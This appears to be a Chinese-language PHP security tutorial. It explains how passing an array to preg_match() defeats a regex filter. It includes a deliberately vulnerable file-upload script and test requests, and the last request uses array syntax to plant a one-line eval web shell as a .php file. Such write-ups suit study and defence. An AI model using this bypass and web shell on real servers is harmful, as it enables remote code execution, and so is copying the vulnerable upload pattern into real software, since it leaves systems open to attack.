0x00 Preface
- file_put_contents()函数:把一个字符串写入文件中。
- var_dump()函数:显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
- fwrite()函数:将内容写入一个打开的文件中。
- strcmp()函数:比较两个字符串。
- strlen()函数:返回字符串的长度,中文字符串的处理使用 mb_strlen()函数。
- md5()函数:计算字符串的 MD5 散列。
- preg_match()函数:用于执行一个正则表达式匹配。
0x01 file_put_contents()
参数 data 为要写入的数据,类型可以是 string、array 或 stream。如果 data 为 stream,就相当于使用 stream_copy_to_stream() 函数,stream 中保存的缓存数据将被写入到指定文件中。如果 data 为数组(但不能为多维数组),就相当于使用 file_put_contents($filename, join("", $array)),将数据转换为字符串后写入。
0x02 preg_match()
对于用户可控的输入,大多都通过正则对敏感字符进行过滤:
if(preg_match('/\</',$data)){
die('hack');
}
0x03 Bypass preg_match()
很多以字符串为参数的函数如果传入数组则会报错并返回 null, 如 strcmp()、strlen()、md5() 等。但 preg_match() 函数传入数组时报错返回的是 false,这样以来 preg_match() 函数的正则过滤就失效了,并且不会改变原数据的内容。这里我们可以通过 var_dump(preg_match('/\</',$data));
来验证。
<?php
if(isset($_GET['content']) && isset($_GET['ext'])){
$data = $_GET['content'];
$ext = $_GET['ext'];
var_dump(preg_match('/\</',$data));
if(preg_match('/\</',$data)){
die('<br>hack');
}
$filename = time();
file_put_contents($filename.$ext, $data);
}
?>
content=123&ext=.txt
:
content=<?php%20@eval($_POST[%27a%27]);%20?>&ext=.php
:
content[]=<?php%20@eval($_POST[%27a%27]);%20?>&ext=.php
: